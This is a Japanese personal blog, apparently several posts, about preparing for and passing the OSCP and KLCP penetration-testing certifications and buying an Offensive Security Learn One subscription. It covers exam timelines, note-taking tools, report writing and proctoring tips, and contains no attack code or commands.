ぶっちゃけこの時は、このマシンは全てWriteupを見ずにやったわけでもなく、試験では誰の力も借りれないということを考えると不安が募っていきましたw

  • ラボPDFとラボマシンのおかわり(約1週間)

実はこの「おかわり」をやってよかったと感じています。ラボは共有マシンであり、チャレンジしている間に他者によって状態が変更されていて、数個マシンは想定解と異なった攻略ベクタを使っていたケースに気づきました。revertは実際の環境においてホイホイとできるものではないのですが、積極的に実施することをお勧めします。

試験の予約

ラボをコンプリートしてから、時間が経つと忘れそうという不安にかられ、できるだけ早く受けたい気持ちになりました。このため、受験可能な日の昼12時プレイボールの翌日11時45分ゲームセットを選定しました。この時間帯を選定した理由として、日付を優先して選んだのでまともな時間帯がそこしかなかったのです(笑)

試験直前

2~3日前になると、ラボをコンプリートしたこと、学習に時間をだいぶ溶かしたことから、気合入れて勉強するという一夜漬けの気持ちは一切なく、もやっとした気持ちが増幅したので、Youtubeを見てボーっと過ごしました。
私は「ルーティーン」を大事にしており、試験前日にはKLCPの時からやっているとんかつを食べ、酒は欠かさず飲みました。もちろん、早く寝ました。

試験当日

朝はぼやぼやしながら時間が来るのを待ち、15分前にProctorソフトウェアとWebカメラの準備を済ませ、VPNのセットアップを終えて12時ちょい過ぎからスタートしました。

中身については触れませんが、極度の緊張からか、やたらタイポするし、配点の高いADセット(AD×1、クライアント×2)を優先的に触ってもInitialうまくいかないし、他のマシンを触ってもうまくいかないし、時間だけが無情に過ぎていき、2時間が溶けて0点状態でした。

この日は敢えて家族を旅行に行かせたので、話す相手も近くにいないし、精神的に24時間試験のおかわりも耐えられないし、窓から外を眺めて絶望とはこういうことかと認識しました。

気持ちを切り替えようと努力して休憩を挟み、改めてマシンを見てみるとある情報に気づき、そこからは精神的余裕も生まれました。その後はラボの復習のような要素を感じて進んでいき、以下のような時間軸でした。

12時:プレイボール
15時:1マシン目のlocal.txt
16時:2マシン目のlocal.txt
19時:ADセットのproof.txt、晩飯休憩(喉を通りませんでしたがどうにか食べました)
20時:2マシン目のproof.txt
22時:3マシン目のlocal.txt&proof.txt
0時:寝る(アドレナリン大量放出でそんなに眠れず)
5時:シャワーを浴びて朝飯
6時:獲得したtxtの再現性チェック&コピペ、スクショ取り(だいたい3時間くらい?)
12時前:ゲームセット
18時:試験レポート+ラボレポート提出

Metasploitは使わず、22時点で90点?に到達し、完全クリアいけるかと思う時期もありましたが、どうしても1個マシンの権限昇格が成功せず、結局6時間程度ウサギの穴を掘り続けることになったのが悔やまれます(改めて振り返るとMetasploit使えばよかった)。
試験レポートは、比較的丁寧に書いたつもりですが、途中から細かく作るのが手間に感じたので、45ページ程度でフィニッシュです。

その他

  • 試験レポート&ラボレポートについて

Markdownとか全く触っていなかったので、Snipping Toolをフル活用するとともに、試験レポートは公式が出しているWordをそのまま使いました。
ラボレポートについて、私は書くことを選択したのですが、時間を大量に奪われます。とはいいつつも、レポート作成やコンテンツで利用されている技術に慣れることができるので、実施してよかったかなと思っています。ページ数は350ページになりましたが、下記の公式記事では100ページ以内に収めることが推奨されていて愕然としています・・・w
www.offensive-security.com

  • 試験でのメモまとめ

ラボも含めpentest.wsを課金して利用しました。PCFやfaradayでもそうなのですが、精神的に追い詰められている時こそ、目で見て直感的にわかりやすい「可視化」は大事と感じました。nmapのxmlを放り込むだけでポートのオープン/クローズがわかりやすくなります。また、ホスト名やOS名・バージョン、各ポートのサービス名なども書き込む欄があるので、Enum忘れ防止に役立ちました。下のリンクはHTBマシンの攻略に活用しているようです。4年前のものなので、UIが多少異なる点は御留意ください。
www.youtube.com

  • 試験中のメモのバックアップという観点

先日突然pentest.wsでアプリケーションエラーが表示されて中身を触れないという事態(事前のメンテナンスなどのアナウンスも無し)を確認していたので、pentest.wsだけに頼り切るのも危ないと感じ、Onenoteも併用しました。チートシートはローカルでも使えるOnenoteで整理していました。

  • ターミナルログについて

tmux使いでもなく、ターミナルを大量に開く私はscriptコマンドを使いませんでした。tcpdumpを常時開いたままにしていることや、出力が大量あるものから抽出するのも面倒と感じており、再現性チェックの時間を設けてきっちりとメモ+スクショを取ると決めていたためです。

  • Offensive security社とSANS社のコンテンツの比較

これはいずれも一長一短といったところで、SANS社は特定の部分を深く掘り下げて丁寧に説明し、コンテンツも学生の意見を積極的に取り込んで刷新しています。また、Offensive security社はSANS社に比して幅が広いのですが「後は自分で調べておいてください」と常に言われている感覚があります。これこそ、続きは自分で勉強するというTry Harderの理念だと思いますが、いずれの会社も業界トップクラスの教育コンテンツを生み出していることには変わりありません。

  • 英語について

翻訳ツールもだいぶ普及している現状では、受験にそこまで問題は無いと思います。ただし、「苦手だと時間がかかる」ことに変わりはなく、誤訳または誤ったニュアンスを伝えるリスクは避けられません。また、新しい技術になればなるほど日本語化されていないことを踏まえると、英語を学習するということは極めて重要であると認識しました。

  • ラボマシンのダウン

これは様々な体験記に限らず言及されていることですが、スレッド数を適切に設定しない高速スキャンや、間違ったカーネルエクスプロイトをするとマシンがあっさり落ちます。実際のペネトレーションテストでそのようなことをやろうもんなら訴訟沙汰になりかねません。打つ手立てが無くなった際の最終奥義とすることや、十分な情報収集と検証を経た上で実施することを強く推奨します。

  • OSCPがエントリークラスに位置付けられていること

これは結果論ですがその通りと感じました。現実世界ではアンチウイルスソフトや各種セキュリティ製品がある中でmimikatzが自由に使えるケースは比較的少ないかもしれません。

また、「中身の技術はよくわからないけどこんな手法が使える」という、漠然と攻撃手法を選んでしまうこともあったので、ちゃんと理解する、正しく人に説明するという点ではもう少し学習が必要とも理解しました。

やはり、自分でエクスプロイトを開発できる、セキュリティ製品を回避できると自信を持ちたいと、ラボの途中から思い始めていました。

まとめ

  • 過去の合格体験記を掲載していただいた皆様に感謝します。同じように感じることとして、PEN-200のコンテンツをしっかりとやり、多少のことでは動じない精神力があれば問題ないという認識です。
  • 「$」や「#」を得るために自ら勉強したいという気持ちがあれば、十分に受験要件が整っていると思います。
  • shellダンスやrootダンスなんて誰がするかと思いましたが、これをやりたくなる気持ちがよくわかりましたw
  • 家族には感謝です。
  • やっとこれでmetasploit解禁です。

KLCPを受けてきました

Offensive Security社の年間サブスクであるLearn Oneに自費で申し込んだので、せっかくの機会と捉えて基礎固めも兼ねてKLCPの試験を受けてきました。
また、日本語記事が検索する限りではほぼないので、あえて書き残したいと思います。ひとまず、認定はされました。

KLCPとは

Kali Linux Certified Professionalという、Kali Linuxのペンテスト用ディストリビューションをマスターしたことを証明する資格です。

リンクにも記載されているとおり、ペネトレーションテストの技量そのものを向上させるものではなく、Linuxの基礎やディストリビューションそのもののカスタマイズなどを行って、ペネトレーションテストの実施に寄与するための知識・技量を蓄えるといった考え方の方が正しいかと思います。

カリキュラムについて

ログイン不要な公式ページにおいてシラバスのようなものが見当たらず、上記ブログから引用すると端折りましたがこんな感じです。

  • Linuxの基礎
  • Kaliのインストール(フルディスク暗号化、プレシード(無人インストールのこと)、仮想マシンなど)
  • 暗号化、永続化および「自己破壊」のオプションを含むポータブルUSBの作成
  • Debianパッケージマネージャーを介してソフトウェアをインストール、削除、カスタマイズ、トラブルシューティング
  • Kaliのトラブルシューティング(バグレポートなど)
  • Kaliにおけるネットワークおよびファイルシステム操作(iptables操作、モニタリングなど)
  • 独自のパッケージを作成し、独自のカスタムパッケージリポジトリをホスト
  • 独自のカーネルをカスタマイズ、最適化および構築
  • エンタープライズ環境でKaliLinuxをスケーリングおよびデプロイ
  • KaliLinuxの複数インストールを管理・調整

試験の概要と流れ

公式はここですが、要約すると以下のとおりです。

  • 90分で80問、ブラウザベースのClassMarkerというプラットフォーム。
  • 多岐選択式
  • 他の記事を見ると80%で合格(16問までしか間違えられない)。
  • クローズブックで持ち込み不可(英語試験でこれが最もキツイ要因でした)
  • Proctoringツールに接続後、注意事項の説明が行われる。
  • 監督官がチャットでリンクを送信するので、そのリンクに進むとKLCPのページが表示される。
  • アカウント登録とOS-IDを入れてボタンを押すと試験開始。
  • 試験が終了すると、結果が即座に表示される。
  • 試験に合格すれば、CertificateのPDFがダウンロードできる。加えて、KLCPデジタルバッジの申請手続きのメールが届く。

私のバックグラウンド

  • 本業は雑用をこなすマネージャー職。合間を見つけて趣味で手を動かす(コマンドを打つ)レベル 
  • CISSP/CISA/GPEN
  • LPIC-2→数年前に失効(今回の試験でこれが最も有用でした)
  • 英語は好きだが得意ではない、海外の情報をgoogle翻訳と対比させながらざっくり読む程度
  • SOC/CSIRT業務を数年程度経験していた
  • 趣味でGDBを動かしている
  • クラウドまわりの経験値は低い
  • 診断(ペンテスト)のお仕事経験は実質2年目

取り組みのスケジュール感

Offensive SecurityのポータルにLearn Oneのサブスク登録してからおよそ1か月かけて資料をぼちぼち翻訳しながら読み、2周目を0.5か月程度使ってざっと流し、主にコマンドを押さえつつ試験に臨みました。毎日1~2時間、休日は4~5時間くらい溶かした日もありました。
ラクティステストをかき集めると130問くらいあるので、まずはこれの回答を作成することも合わせて進めつつ、本番直前に実際の試験を想定して問題を解き、間違ったところの確認を行いました。

実際に受けた試験での時間配分等

ClassMarkerはピアソンなどの試験を受けていれば非常に直感的なUIであり、心配はいらないかと思います。
www.classmarker.com
試験開始から45分で一通り終了し、見直しをした後、30分を残して試験を終えました。英語がそんなに得意ではないのですが、決して難しい構文は出てこなかったので基本的な英語が理解できれば十分取り組める内容でした。
試験は80問中75問正解で無事合格しました。Certificateは即座にダウンロードできます。

役に立った資料類

昔は公式資料(プラクティスクイズを含む)が公開されていたようですが、陳腐化に伴い資料が消されてしまい、ポータル上の教育コンテンツに統合されているようです。逆に紹介している資料以上のものがほぼ無い感じでした。

  • 公式の資料(PEN-103)
  • 海外の先人の知恵など(redditのリンクを辿ると100問くらいのプラクティスクイズが見つかります)

web.archive.org
web.archive.org
www.gocertify.com


注意すべき事項

基本は公式資料の学習なのですが、以下の点についてお気を付けください。

  • Kaliのディストリビューションの特性から修正頻度が早く、公式資料の更新が間に合っていない
  • リンク切れあり
  • 既にkaliのリポジトリから削除されたパッケージを紹介しているケース
  • 時代の流れで採用するツール等が変わっている=どっちが正解かわかりにくい
  • 日本語の翻訳ツールを使うと誤訳があり、英語がそのまま読めるなら訳さない方が良い(そうはいかない場合、日本語を読んだ後に英語で正しいかを確認する必要あり)

以上の理由から、google先生に教えを乞うなり、実際にKaliの環境を手探りで確認するなどが良いと思います。

おまけ(Proctoringについて)

手元の環境が3画面なので、OSCPを見越してピアソンで受験せずProctoringツールを使って受験しました。その時に注意する点として。

事前のProctoringツールのテストができるので初回の人は確実にやった方が良い。

proctoring@にテストをしたい旨を連絡するとテスト用IDがもらえます。ただし、ログインしてからのセッション有効期間が非常に短い(数十分?)のであらかじめマニュアルを読み込んで準備することをお勧めします。私は5日ほど前にテストし、カメラが2つあってうまくいかず焦りました。この場で問題が解決できてよかったです。

Janusプラグインで画面共有が正しく動作しているかを判断できない。

これはさすがに不安になってOffensive Security社に確認したところ、アサインされた監督官が判断するとのこと。これだけでも不安で当日トラブルを避けたかったので、下記サイトでテストしました。正常に動作していれば画面が出ます。
webrtc.github.io

感想やちょっとしたネタ

  • OSCPには必須ではなく、知識として持っていると多少安心する程度。
  • LPIC1/2+Kaliの独特な内容+Debianに慣れる試験、LPICのようなコマンド入力問題が無い分多少気楽。
  • 合格は8割とハードルは高いが、試験自体はストレートな印象でCISSPのような2分の1からの選択ではない感じ。しっかり頭に叩き込めば大丈夫そう。
  • ある程度成熟したペンテスターが独自のツールをパッケージングやホストしたいというケースにこの知識が有用か。
  • 逆にテスターになり立ての人は基本的なLinuxの知識やapt(パッケージ操作のコマンド)の問題解決手順を押さえるという点で活用できる。ただ、カーネルの再構築やリパッケージングのところは修行感満載。
  • ARMの演習をやるためにラズパイを買おうと思ったら高騰していて買えなかったw
  • テスト予約をメールでする際、日本時間の〇時(UTC+9)といった表現で説明したことから、うまく理解されずに誤った時間を設定された。予約の際はJSTのことを考えずGMT/UTCの時間でしっかり説明しましょう(反省)。

さて、いよいよこれからOSCPの道に入ります。macbook相当の出費を取り返さないと。

Offensive SecurityのLearn One(年間サブスク)に申し込みました

備忘録もかねて。

12月31日。
年末セールとはいえ$2,499→$1,999(約24万円)という気軽にはできない年間サブスク、Offensive Security社のトレーニングコースであるLearn Oneに手が滑ってポチってしまいました。目標をしっかり決めないと来年もダラダラ過ごしてしまいそうだったので、自戒の念をこめて課金しました。ノートPCにビールをかけて壊してしまい、macbookあたりを買い直したと思うことにします(ノートPCは壊れてないけど)。

目標はOSCP、OSWPの取得なのでPEN-200(PWK)のコースを選びました。

Learn Oneでできること(PEN-200を選択した場合)

  • PEN-200(Penetration Testing)のトレーニングコースが受講可能。

ー>ラボは年間サブスクの期間ずっと使える

  • OSCP(Offensive Security Certified Professional)の試験を2回受験できる。

www.offensive-security.com

  • Proving Grounds Practiceが年間サブスクの間で利用可能

スキル向上のためのスタンドアロンなラボ。無料(PG Play)でも使えるが、1日3時間までという制約あり。有償(Practice)だとその制限がなく、WindowsOSも触れるらしい。
www.offensive-security.com

  • PEN-100、SOC-100(Security Operations)、WEB-100(Web Attacks)の基礎コンテンツが利用可能。

まだPEN-100のLinux基礎しか触っていませんが、見た感じLPIC1~2+それぞれのジャンルの基礎ネタなので、すでにHacktheboxでeasyくらいなら倒せるという方や、OSCP一直線でラボ重視したいので時間が惜しいという方、Learn Oneを申し込んでいない人はあまり気にしなくてもよいと思います。ただ、CTFっぽく仕上げられていて個人的には割と面白いなぁと感じてやっています。

  • KLCP(Kali Linux Certified Professional)の試験が1回受けられる。

Kali Linuxディストリビューションそのものに関する知識を習得するものらしい。
kali.training

  • OSWP(Offensive Security Wireless Attacks)のトレーニングコンテンツ、同試験が1回受けられる。

www.offensive-security.com

レジストあれこれ

あまり悩む要素は無いと思っていたのですが、カードで支払いしようとしたらうまくいかなくて仕方なくpaypalにしました。
ところがここで問題発生。paypal自体の支払いはうまくいってメールの通知もきたのですが、決済終了からOffsecのサイトにリダイレクトされる際にまさかのDNSエラーが出て、当然リロードしてもチェックアウト画面が出ない。
f:id:uhyoyeah:20211231102159p:plain
一瞬頭が真っ白になりました。これはさっそくカスタマーサービス相談案件ということでメール連絡。こんなところからもTry Harderか~という切なさ。
連絡したけど案の定年末年始は縮小態勢だから公式なレスはできねーぜと自動返信があって積んだ。支払い終わっているからなんとかなるだろと自分に言い聞かせておく。

2022/1/10 update
年明けすぐにカスタマーサポートの人と地域マネージャーさんから連絡をいただきました。
先に地域マネージャーさんから連絡が来て、EOYのディスカウントは終わっているよ、10%オフなら承るよ~とのコメント(追加で2.5万円、なんじゃそりゃ)。
さらにカスタマーサポートからはうちのシステムは何の問題もないぜ、お前の銀行の問題だから、そっちで確認してくれとのこと。

こっちにはpaypalの入金証明があるのに追加費用はねーだろと思って、埒もあかないことからpaypalにdisputeすることにしました。
そこから話は進み、カスタマーサポートの人が対応してくれて一段落。
返金するか、サブスクを手動でアカウントに追加するか選んでくれと言われました。せっかく申し込んだので、サブスク追加をお願いしました。

2022/1/22 update
開発チームの方が新規アカウントにサブスク内容(Learn One)をプロビジョニングしてくれることで解決し、PEN-200とそれぞれのその他のコースを追加してもらいました。
f:id:uhyoyeah:20220122234607p:plain
いちおう各試験も予約できるか確認してみたら、OSCPの試験予約はできそうだったけど、KLCPとOSWPは以下の通り、ポータル上から予約できないじゃないかと焦る。
f:id:uhyoyeah:20220122234825p:plain
カスタマーサポートの方に聞いた結果、

  • KLCPはポータルから予約ができないので、3週間のリードタイムを考慮してこっちに教えてくれ。
  • OSWPについては現時点では予約できないけど、すぐにできるようになる。できるようになったら教えるので安心して。

始める前からTry Harderでしたが、そういう点でも英語に慣れましたw
せっかくKLCPがサブスクの範囲内で受けられるので、まずはそちらから始めようと思います。